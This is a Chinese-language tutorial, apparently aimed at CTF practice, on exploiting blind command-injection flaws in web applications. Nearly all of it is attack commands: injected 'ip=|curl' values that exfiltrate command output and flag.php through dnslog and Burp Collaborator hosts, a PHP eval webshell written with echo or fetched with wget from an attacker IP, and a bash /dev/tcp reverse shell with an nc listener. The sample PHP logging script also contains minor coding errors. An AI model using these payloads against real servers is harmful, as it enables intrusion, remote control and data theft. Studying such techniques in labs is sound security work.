一、命令执行判断
命令执行可能会存在命令执行完没有回显,可以通过三种方式来判断:延时、HTTP延时、DNS请求。
1、延时
1)通过使用sleep()函数,即是否延时来判断该命令是否有执行,有延时则代表有执行。类似的函数还有
benchmark(count,expr) 和getlock(str,time)。
2)windows下并没有sleep命令,可以通过回环ping来达到强制延时的效果。Linux下同样试用,而且还可以通过ping命令在不同环境下的执行方式来判断目标的操作系统类型。
ping -n 3 127.0.0.1
ping -n 4 127.0.0.1
2、HTTP请求

3、DNS请求
如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。假设有一个可控的二级域名,那么当它发出三级域名解析的时候,就会记录它的域名解析请求。所以配合DNS请求也可以进行命令执行的判断,这一般称为dnslog。(要通过dns请求既可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现。)
继续举个栗子:
1)打开dnslog.cn获得一个域名,访问777.cf1gbs.dnslog.cn,就会记录下来这个域名解析请求。
2)简单测试一下向目标服务器发起http请求,执行下面的命令
ip=|curl `whoami`.cf1gbs.dnslog.cn
查看dnslog。
二、无回显代码执行
1、执行命令(需要站点目录具有写权限)
通过执行命令,直接将php文件写入到在浏览器可直接读取的文件类型中(如txt文件),然后访问txt文件即可得到php文件内容
1)使用 cp 命令直接得到文件内容
cp flag.php 1.txt
2)使用 mv 命令
mv flag.php flag.txt
3)使用 > 或者 >>
cat flag.php > flag.txt
cat flag.php >> flag.txt
4)使用tar
tar cvf flag.tar flag.php # 打包flag.php为flag.tar
tar zcvf flag.tar.gz flag.php # 压缩flag.php为flag.tar.gz
# 解压缩:tar zxvf flag.tar.gz
5)使用zip
zip flag.zip flag.php
#解压缩:unzip flag.zip
2、直接写入或外部下载webshell
1)直接写入(需要站点目录具有写权限)
echo "<?php @eval(\$_POST[123]); ?>" > webshell.php
2)外部下载(目标服务器可以连接外网或可以与攻击机互通,且能执行wget命令)
wget 攻击机ip -O webshell.php
#使用wget下载shell,使用参数-O来指定一个文件名
3、在vps上建立记录脚本
当目标服务器可以向公网服务器发起http请求,并且能执行curl命令或wget命令
1)在个人公网服务器的根目录构造一个记录脚本:7.php 。
#7.php
<?php
header("Content-type:text/html; charest=utf-8");
highlight_file(_FILE_);
include("flag.php");
$ip=$_REQUEST['ip'];
if($ip)
{
shell_exec("ping -c 4".$ip);
}
?>
2)在目标服务器的测试点发送任意一条请求进行测试,将获得的flag进行base64解码即可。
curl http://*.*.*.**/7.php?data=`cat flag.php|base64`
wget http://*.*.*.*/7.php?data=`cat flag.php|base64`
4、DNSLOG获取回显
1)命令执行时要避免空格,空格会导致空格后面的命令执行不到;
2)将读取的文件命令用反引号``包含起来;
3)拼接的域名有长度限制。
curl `命令`.域名
举个例子:
#用<替换读取文件中的空格,且对输出结果base64编码,然后拼接域名
curl `cat<flag.php|base64`.cf1gbs.dnslog.cn
#另一种方法
curl `cat flag.php|sed s/[[:space:]]//`.cf1gbs.dnslog.cn
5、反弹shell
反弹shell,就是攻击机监听在某个TCP/UDP端口为服务端,目标机主动发起请求到攻击机监听的端口,并将其命令行的输入输出转到攻击机。
1)个人的公网服务器开启端口监听
nc -lvp 777
2)目标服务器执行命令
bash -i >& /dev/tcp/公网机ip/端口号 0>&1
6、curl上传文件读取源码
使用 curl -F 将flag文件上传到Burp的Collaborator Client。这是一个类似httpslog+dnslog的插件,其功能比dnslog强大,可以不用搭建任何环境去监听dns和http请求,也可以很方便的查看post请求包和cookie等。
拼接payload并在命令执行处提交即可查看Collaborator Client收到的数据。
ip=|curl -X POST -F xx=@flag.php http://bn2cqaribbwg0qo2ungjlm29i0oqcf.burpcollaborator.net